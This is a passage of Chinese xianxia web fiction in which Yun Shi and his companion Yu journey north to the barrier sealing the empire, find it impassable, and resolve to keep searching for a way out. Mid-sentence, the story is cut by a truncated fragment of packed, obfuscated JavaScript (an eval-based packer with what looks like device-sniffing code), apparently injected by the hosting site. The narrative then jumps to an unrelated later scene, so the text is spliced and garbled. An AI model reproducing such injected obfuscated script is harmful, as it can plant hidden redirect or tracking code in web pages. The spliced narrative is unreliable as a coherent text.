他说完,不再言语,只是握着云实的手,安静地等待着。星空在上,河流在下,夜风穿堂而过。掌心传来的温度,和耳畔残留的话语,比任何滚烫的誓言都更真实地烙印在云实心上。 云实反手握住了予的手,很用力。他没有说话,但紧绷的肩线慢慢放松下来,一直徘徊在眼底的那丝空茫和焦虑,似乎也被掌心这股坚定的暖意,稍稍驱散了一些。 夜还很长,路也还长。但至少此刻,在这片熟悉的、令他安心又窒息的星空下,他不再是独自一人,守着那团无人知晓的闷火。 那晚之后,有些东西变了,又好像没变。云实依然每天经营着云锦记,为弟妹前程打算,听父母唠叨。予依然住在他家后院,偶尔帮忙,时常添乱,说些不着调的话。 但云实心里那块沉重的、名为放弃的石头,似乎松动了些。 日子一天天过去。云岭考取了功名,去外地赴任。云舒出嫁,成了另一个镇子上能干的媳妇。父母老了,将云锦记完全交给了云实。予还是那个予,好像时间在他身上留不下痕迹,也好像他打定主意要把这红尘滚到地老天荒。 直到某个异常寒冷的冬天,母亲旧疾复发,药石罔效,在一个雪夜平静离去。父亲撑了半年,也跟着走了。操办完双亲的后事,站在骤然空寂了许多的老宅院里,云实感到了前所未有的……轻。那压了他半辈子的、甜蜜而沉重的责任,忽然卸下了一大半。 他独自在父母灵前坐了一夜。天亮时,予默默端来一碗热粥。 云实接过粥,没喝,看着院子里积了一夜的雪,白得刺眼。他忽然开口,声音因为一夜未眠而沙哑:“予,你上次说……墙的裂缝,在北边风口附近?” 予盛粥的手顿了顿,抬眼看他。他的眼睛里没有惊讶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云实学得认真,他将储物袋的原理和予教的野外辨识知识结合,改装了行囊和衣物。他缝制的挎包内衬有巧妙的分隔,能快速取用不同物品;外套的夹层经过特殊处理,据予说能一定程度上混淆低阶探查术法。这些细致琐碎的准备工作,暂时冲淡了离别的愁绪和对未知的恐惧,甚至带来一种奇异的充实感。 然而,真正的阻碍,在他们试图接近“出墙”的实际操作时,才露出狰狞面目。 予提到的风口,位于帝国北疆最偏远的一片苦寒之地。他们跋涉数月,沿途关卡盘查越来越严,不仅需要详尽的户籍路引,更需要有明确的、符合规定的往来事由。越往北,灵气监测的法阵节点越密集,天空中偶尔有巨大的阴影掠过。那是官方的巡逻法器,予称之为“铁鸮”,冰冷、无声,带着不容置疑的监视意味。 “以前……没这么严。”予躲在背风的岩石后,看着远处天际掠过的“铁鸮”,眉头紧锁,“看来这些年,墙那边的‘麻烦’,或者墙这边想出去找‘麻烦’的人,太多了。” 他们无法再沿着官道前进,只能转入荒野。寒冷、疲惫、偶尔遭遇的低阶妖兽开始消耗他们的体力和物资。更令人心悸的是环境中弥漫的一种“排斥感”。灵力变得紊乱而稀薄,仿佛整个天地都在拒绝生灵的靠近。 “这就是‘墙’的场,”予解释,呼出的白气迅速消散在凛冽的风里,“它在拒绝一切未经许可的接近。我们还没看到墙,就已经在它的‘影子’里了。” 终于,在一个暴风雪暂歇的黎明,他们爬上一座冰封的山脊。予指着前方,声音干涩:“看。” 云实顺着他手指的方向望去,呼吸瞬间停滞。 那不是一道“墙”。 那是一片天堑。 目力所及的最远处,大地仿佛被一只无形的巨斧劈开,断裂成绝对垂直的深渊。深渊对面,是另一片同样荒凉、但光线似乎都更加扭曲模糊的土地。而连接两边的,并非实体巨墙,而是一道无边无际、缓缓流动的、半透明的扭曲屏障。它像垂天的极光,又像凝固的混沌,无声地翻滚着,吞噬着光线、声音,甚至……仿佛连“存在”本身都在其表面发生了畸变。 屏障之上,无数细微的符文光影明灭不定,构成一个庞大到令人绝望的、自我循环的阵法体系。偶尔有巨大的“铁鸮”如同守卫巢穴的恶鸟,沿着屏障的轨迹巡弋,冰冷的灵光扫过荒原。 距离如此之远,云实都能感到一股源自灵魂深处的颤栗和排斥。那不是恐惧,而是一种更低层次的、被更高维度规则否定的渺小感。 “那就是……墙?”云实的声音发飘。 “是界障。”予纠正道,脸上没有了惯常的轻松,只有深深的疲惫和某种了然于胸的绝望,“实体墙是给凡人看的象征。这才是真正的封锁。那些符文……是帝国集八行之力,叠加了不知多少层的禁制。硬闯,会被瞬间分解成最基础的灵气粒子,或者抛入时空乱流。唯一的‘裂缝’……需要特定的钥匙,在特定的时间,由特定的‘通道’才能打开。”他苦笑了一下,“而我当年知道的那条缝,五十年前就被彻底堵上了。我离开宗门时听到的风声……看来是真的。帝国把所有的‘后门’都焊死了。” 希望,像被针刺破的气球,嗤的一声,迅速干瘪下去。 他们冒险在附近潜伏观察了数日,印证了予的判断。界障毫无破绽,巡逻严密到几乎无缝。他们甚至目睹了一次追捕:几个身影试图用某种法器冲击界障薄弱处,瞬间引发警报,数只“铁鸮”和更诡异的、如同影子般的修士从天而降,战斗短暂而残酷,冲击者无一逃脱。 撤退的路上,沉默压得人喘不过气。来时那些琐碎的准备、心底那点压抑已久的火星、对“外面”和“真实”的想象,在冰冷绝望的现实面前,显得如此幼稚可笑。 回到相对安全的边缘小镇,住进简陋的客栈。云实坐在冰冷的炕沿,看着窗外荒芜的景色,几个月来紧绷的心弦骤然断裂,只剩下无尽的空虚和疲惫。 “算了。”他听到自己干涩的声音说。 正在检查行囊损耗的予动作一顿。 “予,算了。”云实重复道,没有看予,声音里是浓得化不开的倦意,“墙是出不去的。我们就像蚂蚁,以为找到了糖,结果爬到了巨人的鞋底。” 他想起了青石镇,想起了空荡荡的老宅,想起了盘出去的“云锦记”。此刻,那种曾经让他窒息的安稳,竟泛起一丝可悲的怀念。 予慢慢转过身。他没有说话,只是看着云实。那一刻,他脸上那种总是半真半假的惫懒、那种游刃有余的优越感,全部消失了。他看起来有些茫然,有些无措,甚至……有些可怜。 “可是……”予的声音很轻,带着一种罕见的、近乎脆弱的犹豫,“如果连你也不试了……如果连你这团火也认命了……” 他走上前,蹲在云实面前,仰头看着他。这个姿势让他显得格外年轻,也格外无助。 “那我怎么办?”予问,声音里带着一丝不易察觉的颤抖,“我漫无目的地飘了这么久,遇到你,以为终于……终于有一个人,心里还烧着东西,还愿意抬头看看天,而不是只数地上的铜板。我以为……我们可以一起,哪怕只是试试看,去找那条可能不存在的路。” 他伸出手,不是惯常那种带着调侃或力量的触碰,而是轻轻拽住了云实的袖口,像一个害怕被丢下的孩子。 “云实,”予叫他的名字,眼圈微微发红,“你要是也放弃了,回到哪个小镇,重新开个铺子,或者随便做点什么……那以后,就真的再也没人陪我闯荡了。” 这话说得卑微又自私,却像一把钝刀子,狠狠扎进云实麻木的心里。他看到的不是予的软弱,而是这个看似洒脱的“前仙二代”,内心深处同样巨大的空洞和孤独。予或许见过繁华,经历过失败,但他也在寻找,寻找一个能共鸣的同伴,寻找一点超越平庸的真实。而自己,是他找到的、认为可能的同伴。 云实看着予通红的眼睛,看着自己袖口上那只因为用力而指节发白的手。客栈外是北地永恒的寒风,屋里是冻土般的绝望。但予的眼神里,除了可怜巴巴的挽留,还有一种更深的东西。是不甘,是哪怕知道前方是绝路,也想拉着一个人一起往绝路上再走几步的执拗。 这执拗,云实太熟悉了。它一直烧在自己心底,只是刚才被冰冷的现实暂时冻住了。 蚂蚁撼不动巨人的鞋底。 但蚂蚁可以选择继续爬行,去丈量鞋底的纹路,去寻找哪怕一丝一毫的凸起或裂缝。不是为了撼动,只是为了证明自己还在爬,还在寻找。 他反手握住了予拽着他袖口的手。予的手很凉。 “谁说要回去开铺子了。”云实的声音依然沙哑,却不再飘忽。他用力握紧予的手,仿佛要通过这力道,把决心也传递过去。 “墙在那里,出不去。”他看着予,一字一句,清晰而缓慢,“但出不去,不代表没办法。” 予的眼睛一点点亮了起来。 “官方的路走不通,我们就找非官方的路。‘钥匙’被人掌控,我们就去弄明白‘钥匙’是怎么造的,或者……有没有别的‘开锁’法子。”云实的思路在绝境中反而迸发出一种近乎凶狠的清晰,那是他作为小商贩,在无数次生意困境中磨炼出的本能,“你懂一些旧时的东西,我懂怎么拆解分析、怎么把东西‘做出来’。我们两个,一个知道点‘过去’,一个会琢磨‘现在’……” 他顿了顿,深吸了一口冰凉的空气,把胸膛里最后那点犹豫吐出去。 “我们找办法。” “好。”予用力回握云实的手,声音恢复了力气,甚至带上了一点熟悉的、跃跃欲试的腔调,“我们找办法。从弄清楚这该死的‘界障’到底是用哪几行符文叠起来的开始……云老板,你的针线活和算账本事,恐怕得用在更刺激的地方了。” 窗外,北地的风依旧呼啸,仿佛永恒不变的背景音。 窗内,两只渺小的“蚂蚁”握紧了手,决定不再去徒劳地撞击巨人的鞋底,而是开始仔细研究鞋底的纹路,寻找那可能存在的一丝尘埃的缝隙,或者,为自己锻造一双能爬得更高、看得更远的腿。